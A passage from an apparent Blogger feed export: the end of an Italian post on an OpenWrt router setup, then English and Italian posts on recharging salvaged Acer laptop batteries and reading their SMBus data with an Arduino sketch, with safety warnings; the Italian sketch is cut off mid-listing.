Installando una scheda atheros, è possibile utilizzare questo router come access point multi-ssid e multi-vlan ( cose fattibili solo con Cisco che costano minimo 150 € ), ed è possibile anche lavorare sulla banda 5 ghz , quindi utilizzare il router come semplice access point 802.11a oppure utilizzarlo per connettersi ad una rete outdoor 5 ghz , come quella di <a href="http://ninux.org/" target="_blank">ninux.org</a>.</div>
<div>
<br /></div>
<div>
Preciso un'ultima cosa inoltre, questa guida probabilmente è applicabile anche ad altri router basati su chip bcm6358 anche se non sono dichiarati compatibili con openwrt ( neanche questo lo è )</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-48995060182695823052014-03-30T07:57:00.003-07:002014-03-30T11:30:08.691-07:00Recharging and reusing Acer laptop batteries on DIY projects with arduinoIt's not unusual to end up with dead laptops whose battery is still useable for some other projects, the most usual practice, is to dismantle them to recover 18650 cells, but then you will have some prolems with integrating them on your project, the first one is avoiding stuff to catch fire or blow up and the second one is that you have no way to reliably tell how much % of charge is left on these batteries, and their real capacity ( capacity decreases with time and usage ).<br />
<br />
These batteries in most cases are connected to an I2C/SMBus of the laptop and they use the Smart Battery protocol, which is a standard of most advanced battery powered systems, especially laptops.<br />
<br />
The hardest part normally is to find the pinout of these batteries, but since Acer easily leaks complete motherboard schematics, it has not been hard to find these pinouts.<br />
<br />
For now i've worked with a <b>AL10B31</b> battery and a <b>AS07B41</b> battery, they have different pinout, but both can be found on the respective schematics of the <b>Quanta ZE6</b> and <b>Quanta ZO3</b>. One important thing to be careful about is that once you are using the connector from the motherboard outside the laptop, it's easy to insert it reversed by accident and cause serious damage both to the arduino and to the battery itself.<br />
<br />
<br />
<h2>
Charging the battery and using it</h2>
<div>
The <b>AL10B31</b> and <b>AS07B41 </b>batteries are both 11.1V , that means that there are 3 cells in series, so to charge them you have to use a <b>CC-CV</b> power supply with <b>12.6V</b> ( 4.2*3 ) and at most <b>1.5-2 amperes</b>.</div>
<div>
The battery of the <b>Acer Aspire One ( Quanta ZE6 ) </b>has an additional safety measure that will prevent you from charging it by just applying 12.6V on it's + and - terminals.</div>
<div>
There's the<b> pin 3</b> that has to be connected to ground with a 1KOhm resistor to enable the battery.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGUSFrcgtWKDJngxh0G8lrE7lw4SdF9raJCZlg1yi2I-L0BLwrlzHmIrO2xbFun5Zv5mCym-5bDElSIyds0hB2CF_67iP8lr4I8laca6h_Shvaej7Kz3P66kEWMWMpWOzVXgGIcFpIYHej/s1600/Selezione_078.png" imageanchor="1" style="margin-left: auto; margin-right: auto; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGUSFrcgtWKDJngxh0G8lrE7lw4SdF9raJCZlg1yi2I-L0BLwrlzHmIrO2xbFun5Zv5mCym-5bDElSIyds0hB2CF_67iP8lr4I8laca6h_Shvaej7Kz3P66kEWMWMpWOzVXgGIcFpIYHej/s1600/Selezione_078.png" height="204" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Quanta ZE6 battery connector</td></tr>
</tbody></table>
<div>
Even if in the above schematic it says "short", i've used 1KOhm resistor because that's the resistance i've measured on the netbook's motherboard between this pin and ground.</div>
<div>
<br /></div>
<div>
The <b>AS07B41 </b>that has same pinout of the <b>AS07A(31/32/41) </b>used by Quanta ZO3 but reversed and it does not have any safety measure that remove power from it's + and - pins if not connected to the laptop, so if you just want to charge it you are ready to go with 12.6V CC-CV and at most 2 amperes</div>
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimOD6Vcoe1sdsoBiaLuXIEc7dTYWAViWop-F6mYjm_f4j5UiNmesCKGmR2IFRy8-W72Odm4D31pB1sY4yGVzttG2SDTPN-JCm0GpHHMDVoJOfM3aGTNAsrIdJFaqJTbGpIWcGgRDUB0Zv3/s1600/Selezione_080.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimOD6Vcoe1sdsoBiaLuXIEc7dTYWAViWop-F6mYjm_f4j5UiNmesCKGmR2IFRy8-W72Odm4D31pB1sY4yGVzttG2SDTPN-JCm0GpHHMDVoJOfM3aGTNAsrIdJFaqJTbGpIWcGgRDUB0Zv3/s1600/Selezione_080.png" height="185" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Quanta ZO3 battery connector</td></tr>
</tbody></table>
<div>
<br /></div>
<h2>
Connecting to and monitoring the battery with an arduino</h2>
<div>
SMbus and I2C are physically compatible with each other, so like in the laptops i2c devices and battery share same bus, you can use the battery almost like and i2c device.</div>
<div>
The only problem is that arduino Wire library does not give you much control over speed and start/stop, so, you will have to use a software i2c library.</div>
<div>
The one i've used is <a href="http://playground.arduino.cc/Main/SoftwareI2CLibrary" target="_blank">http://playground.arduino.cc/Main/SoftwareI2CLibrary</a> , this library allows both setting speed and having control on i2c start and stop.</div>
<div>
<br /></div>
<div>
Before including the .h of the library ( if you are too lazy to put the library in a folder, like me , you can just paste the contents on you sketch ), you have to define which pins to use for software I2C.</div>
<div>
<br /></div>
<br />
<div>
<span style="font-family: Courier New, Courier, monospace;">#define SDA_PIN 3 </span></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define SDA_PORT PORTD </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define SCL_PIN 2</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define SCL_PORT PORTD</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define I2C_SLOWMODE 1</span></div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
On the arduino mega 2560 these are pins 19 for SCL (<b> MBCLK</b> ) and pin 18 for SDA ( <b>MBDATA</b> ) .</div>
<div>
If you are using another type of arduino or you want to use different pins use <a href="https://spreadsheets.google.com/pub?key=rtHw_R6eVL140KS9_G8GPkA&gid=0" target="_blank">https://spreadsheets.google.com/pub?key=rtHw_R6eVL140KS9_G8GPkA&gid=0</a> to find out what AVR port and pin number to use on the #define</div>
<div>
<br /></div>
<div>
You have also to define <b>I2C_SLOWMODE </b>in the case you have problems with communicating to the battery.</div>
<div>
<br /></div>
<div>
I'm using that sketch to read values from the battery:</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">LiquidCrystal lcd(12,11,50,51,52,53);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">byte deviceAddress = 11;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define VOLTAGE 0x09</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define TEMPERATURE 0x08</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define CURRENT 0x0a</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define CAPACITY 0x10</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define TIME_TO_FULL 0x13</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define CHARGE 0x0d</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">void setup()</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> lcd.begin(16,2);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> //pinMode(22,INPUT_PULLUP);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> //pinMode(23,INPUT_PULLUP);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.begin(115200); // start serial for output</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(i2c_init());</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> //pinMode(22,INPUT_PULLUP);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> //pinMode(23,INPUT_PULLUP);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> scan();</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> int fetchWord(byte func)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> i2c_start(deviceAddress<<1 | I2C_WRITE);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> i2c_write(func);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> i2c_rep_start(deviceAddress<<1 | I2C_READ);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> byte b1 = i2c_read(false);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> byte b2 = i2c_read(true);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> i2c_stop();</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> return (int)b1|((( int)b2)<<8);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">void scan()</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> byte i = 0;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> for ( i= 0; i < 127; i++ )</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Address ");Serial.print(i);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> bool ack = i2c_start(i<<1 | I2C_WRITE); </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> if ( ack )</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println("OK");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> else</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println("NO");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> i2c_stop();</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">void loop()</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> int v = fetchWord(VOLTAGE);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Voltage: ");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(v);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> lcd.clear();</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> lcd.print((float)v/1000.0);lcd.print("V ");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Temp: ");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> unsigned int tempk = fetchWord(TEMPERATURE);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> float tempc = ((float)tempk)/10.0-273.15;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> lcd.print(tempc);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> lcd.print("C");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> lcd.setCursor(0,1);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(tempc);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Current (mA):" );</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> int ma = fetchWord(CURRENT);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> lcd.print(ma);lcd.print("mA ");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(ma);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Capacity (mAh):" );</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> int mah = fetchWord(CAPACITY);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(mah);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> int ch = fetchWord(CHARGE);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Charge PCT: ");Serial.print(ch);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> lcd.print(ch);lcd.print("% ");lcd.print(float(mah)/1000.0);lcd.print("Ah");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print(" Minutes remaining for full charge: ");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(fetchWord(TIME_TO_FULL));</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> delay(5000);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">I've omitted the beginning because it's just the software i2c library and some includes like LiquidCrystal.h .</span></div>
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLlO5d2kdqDrYOvm0ciqbEv2LD7XK96a9D5TcU9o7VsWruMeIk97CJ8JoczjSk6S36XkIFRpMC5CgPnAA5KVZ4F03DGqtHdeMQ_2ztpsHoW9LlEXt7rHabzRNsASlGia4VLP6qGNj6scBl/s1600/IMG_0097.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLlO5d2kdqDrYOvm0ciqbEv2LD7XK96a9D5TcU9o7VsWruMeIk97CJ8JoczjSk6S36XkIFRpMC5CgPnAA5KVZ4F03DGqtHdeMQ_2ztpsHoW9LlEXt7rHabzRNsASlGia4VLP6qGNj6scBl/s1600/IMG_0097.JPG" height="239" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Quanta ZE6 battery</td></tr>
</tbody></table>
<br />
<div>
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbLRLsi9hMcqsWSUavtXZp5HAtG0EqRJTIebaE8uTor3ek4-Io7THKMc_26I1bUC8LzhiaRt2_z4m7NysJlmLTe8dWm0_Qd_fLJtUy_ZzguGJnVeafChJF7etNv5l6M9FOAUmG2LEsRe6_/s1600/IMG_0099.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbLRLsi9hMcqsWSUavtXZp5HAtG0EqRJTIebaE8uTor3ek4-Io7THKMc_26I1bUC8LzhiaRt2_z4m7NysJlmLTe8dWm0_Qd_fLJtUy_ZzguGJnVeafChJF7etNv5l6M9FOAUmG2LEsRe6_/s1600/IMG_0099.JPG" height="239" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Charging AS07B41</td></tr>
</tbody></table>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUijsc4ygwlUYw4VL0CXw_76FcvCQWub-J2iObAA-UN48F4W48p9UYsUajpY5J6kGvWJSF4hXEF-6ZhzjaPD7P9mlNwXdL_S8nIuJ2w1vVPWqkW-G6yFFNWw1lsc5f7GykRByDXNlw6dZA/s1600/IMG_0100.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUijsc4ygwlUYw4VL0CXw_76FcvCQWub-J2iObAA-UN48F4W48p9UYsUajpY5J6kGvWJSF4hXEF-6ZhzjaPD7P9mlNwXdL_S8nIuJ2w1vVPWqkW-G6yFFNWw1lsc5f7GykRByDXNlw6dZA/s1600/IMG_0100.JPG" height="239" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Charging AS07A(31,32,41) , Quanta ZO3</td></tr>
</tbody></table>
<br />
<div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtK4VfZkyAp-bTANYYxquQgq7AjTRamPN7o73ZBhF8CVHzPAcGMyJginarz_aYICJlLPGA6PCeUQkZoUGFfwEi_mJrjuYVdrOn03cdSgEa4ZbQIBhS499si5J-IPqWdyVYU1dC8P62Wurj/s1600/IMG_0101.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtK4VfZkyAp-bTANYYxquQgq7AjTRamPN7o73ZBhF8CVHzPAcGMyJginarz_aYICJlLPGA6PCeUQkZoUGFfwEi_mJrjuYVdrOn03cdSgEa4ZbQIBhS499si5J-IPqWdyVYU1dC8P62Wurj/s1600/IMG_0101.JPG" height="239" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Charging AS07B31 ( Same pinout as AS07B41 )</td></tr>
</tbody></table>
On the hardware side instead, you have to connect the arduino ground to the battery ground ( <b style="color: red;">BE VERY SURE IT IS THE BATTERY GROUND</b> ) and SCL, SDA pins respectively to MBCLK and MBDATA pins.</div>
<div>
You have also, as the master of the i2c bus provide the pullup, so you have to use 2 10K resistors connected between +5V and the SDA,SCL lines.</div>
<div>
<br /></div>
<div>
Once you enable the battery ( if required ) , you should be able to communicate with it using that code.</div>
<div>
If you are interested on monitoring other parameters, like remaining time to 0%, design voltage , manufacture date , etc, you can see what is the ID to use here <a href="http://sbs-forum.org/specs/sbdat110.pdf" target="_blank">http://sbs-forum.org/specs/sbdat110.pdf</a></div>
<div>
<br /></div>
<div>
Finally, i remind to who is going to use these batteries, that they have high energy density, so they can start a fire or explode if mishandled.</div>
<div>
<br />
Edit: I've discovered that sometimes reading are wrong, lowering I2C frequency solves that issue , to do that modify<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">#if I2C_SLOWMODE</span><br />
<span style="font-family: Courier New, Courier, monospace;">#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/25000L)/2-19)/3)</span><br />
<span style="font-family: Courier New, Courier, monospace;">#else</span><br />
<br /></div>
<div>
to<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">#if I2C_SLOWMODE</span><br />
<span style="font-family: Courier New, Courier, monospace;">#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/15000L)/2-19)/3)</span><br />
<span style="font-family: Courier New, Courier, monospace;">#else</span></div>
<div>
<br /></div>
<br />
<div style="color: white; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 18.200000762939453px;">
<br /></div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com15tag:blogger.com,1999:blog-413688212424257444.post-52717581495970922262014-03-29T16:47:00.001-07:002014-03-29T16:54:40.788-07:00Ricaricare una batteria di Acer Aspire One e monitorarne i parametri con arduinoCapita spesso di ritrovarsi delle batterie di portatili defunti, di cui non si sa cosa farne, la cosa più semplice è spaccarla e recuperarci le celle 18650, ma se poi ci si vuole realizzare qualche progetto, sorge subito il problema di come sapere quanta % di carica ha, il tempo di ricarica, e soprattutto avere un circuito di protezione che eviti esplosioni o eventi del genere.<br />
<br />
La prima cosa fondamentale da sapere è che la quasi totalità di queste batterie utilizza SMBus ( Simile a I2C ) ed il protocollo Smart Battery, il quale è uno standard per monitorare i parametri delle batterie nei sistemi elettronici.<br />
<br />
Nel nostro caso lavoreremo su una batteria AL10B31.<br />
Fortunatamente del portatile di provenienza è stato possibile reperire lo schema elettrico e quindi avere il pinout della batteria<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjar9Z76cmudFOKH-z7UzzVVTD771ErT2VS8jt-cKpHIyEZMZQAsbThlTzEt-xtFU3tzpt2SkxeMKDP6nz95rfsajVZXvyLAJqfoK_xHLHr6VyWhUlMrCDAY231knULJ4shL_DFHvhJokSo/s1600/Selezione_078.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjar9Z76cmudFOKH-z7UzzVVTD771ErT2VS8jt-cKpHIyEZMZQAsbThlTzEt-xtFU3tzpt2SkxeMKDP6nz95rfsajVZXvyLAJqfoK_xHLHr6VyWhUlMrCDAY231knULJ4shL_DFHvhJokSo/s1600/Selezione_078.png" height="204" width="320" /></a></div>
<h2 style="clear: both; text-align: left;">
Ricarica e utilizzo della batteria</h2>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
La prima cosa interessante è il pin 3, in questo schema è collegato direttamente a massa, ma sulla scheda madre associata alla batteria in mio possesso , invece ho visto che era presente 1kOhm fra questo pin e la massa, quindi ho provveduto a collegare tale resistenza fra il pin 3 e l'8.</div>
<div class="separator" style="clear: both; text-align: left;">
È necessario prestare attenzione al fatto che una volta collegato questo pin a massa tramite la resistenza da 1K , è presente la tensione della batteria sui terminali , quindi bisogna evitare di creare cortocircuiti di qualsiasi genere , in quanto , si , probabilmente sono protette anche da corto queste batterie, ma se i cavi dovessero essere sottili invece di andare in protezione, possono ustionarvi le mani.</div>
<br />
Per iniziare la ricarica, si possono applicare 12.6 volt fra il pin 8(-) e il pin 1(+) da un alimentatore con limitazione di corrente minore di 1.5-2 ampere.<br />
<div class="separator" style="clear: both; text-align: left;">
Il fatto della limitazione di corrente e del voltaggio sono cose ESSENZIALI, pena nel peggior dei casi, incendi o esplosioni.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h2>
Collegamento con arduino</h2>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKciybpQJVVlYgOA-1ziOtMvWAWLVsOFArYqVBIJc3IH6g3nuZ_3pKR9CuvDhVqhZbDXc2BbtGfbfTGKv_32gt58_8FFUYkByddJLlZqRGEoWvGixBhwRizPas_JtgUOoCa1BWxFtfVr0t/s1600/IMG_0097.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKciybpQJVVlYgOA-1ziOtMvWAWLVsOFArYqVBIJc3IH6g3nuZ_3pKR9CuvDhVqhZbDXc2BbtGfbfTGKv_32gt58_8FFUYkByddJLlZqRGEoWvGixBhwRizPas_JtgUOoCa1BWxFtfVr0t/s1600/IMG_0097.JPG" height="239" width="320" /></a></div>
<div>
<br /></div>
<div>
Per il collegamento con arduino le cose sono leggermente più complesse invece, ma completamente fattibili.<br />
Per poter dialogare con SMBus, è necessario usare una libreria software per I2C reperibile qui <a href="http://playground.arduino.cc/Main/SoftwareI2CLibrary" target="_blank">http://playground.arduino.cc/Main/SoftwareI2CLibrary</a> .</div>
<div>
Una volta creato lo sketch arduino , prima di includere la libreria, è necessario impostare alcuni parametri</div>
<div>
<br /></div>
<div>
SDA_PIN , SDA_PORT , SCL_PIN , SCL_PORT</div>
<div>
<br /></div>
<div>
Nel mio caso utilizzando un arduino mega 2560, ho utilizzato</div>
<div>
<br /></div>
<br />
<div>
<span style="font-family: Courier New, Courier, monospace;">#define SDA_PIN 3 </span></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define SDA_PORT PORTD </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define SCL_PIN 2</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define SCL_PORT PORTD</span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define I2C_SLOWMODE 1</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: inherit;">Questi parametri corrispondono all'utilizzare il pin 19 per SCL ed il pin 18 per SDA , nel caso si utilizzi un arduino diverso qui <a href="https://spreadsheets.google.com/pub?key=rtHw_R6eVL140KS9_G8GPkA&gid=0" target="_blank">https://spreadsheets.google.com/pub?key=rtHw_R6eVL140KS9_G8GPkA&gid=0</a> è possibile consultare la mappatura delle porte AVR con i pin arduino.</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
Lo sketch che utilizzo per monitorare i parametri è il seguente</div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">byte deviceAddress = 11;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define VOLTAGE 0x09</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define TEMPERATURE 0x08</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define CURRENT 0x0a</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define CAPACITY 0x10</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define TIME_TO_FULL 0x13</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">#define CHARGE 0x0d</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">void setup()</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> pinMode(22,INPUT_PULLUP);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> pinMode(23,INPUT_PULLUP);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.begin(115200); // start serial for output</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println(i2c_init());</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> pinMode(22,INPUT_PULLUP);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> pinMode(23,INPUT_PULLUP);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> scan();</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">unsigned int fetchWord(byte func)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> i2c_start(deviceAddress<<1 | I2C_WRITE);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> i2c_write(func);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> i2c_rep_start(deviceAddress<<1 | I2C_READ);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> byte b1 = i2c_read(false);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> byte b2 = i2c_read(true);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> i2c_stop();</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> return (unsigned int)b1|(((unsigned int)b2)<<8);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">void scan()</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> byte i = 0;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> for ( i= 0; i < 127; i++ )</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.print("Indirizzo ");Serial.print(i);</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> bool ack = i2c_start(i<<1 | I2C_WRITE); </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> if ( ack )</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println("OK");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> else</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Serial.println("NO");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> i2c_stop();</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">void loop()</span></div>
<div>
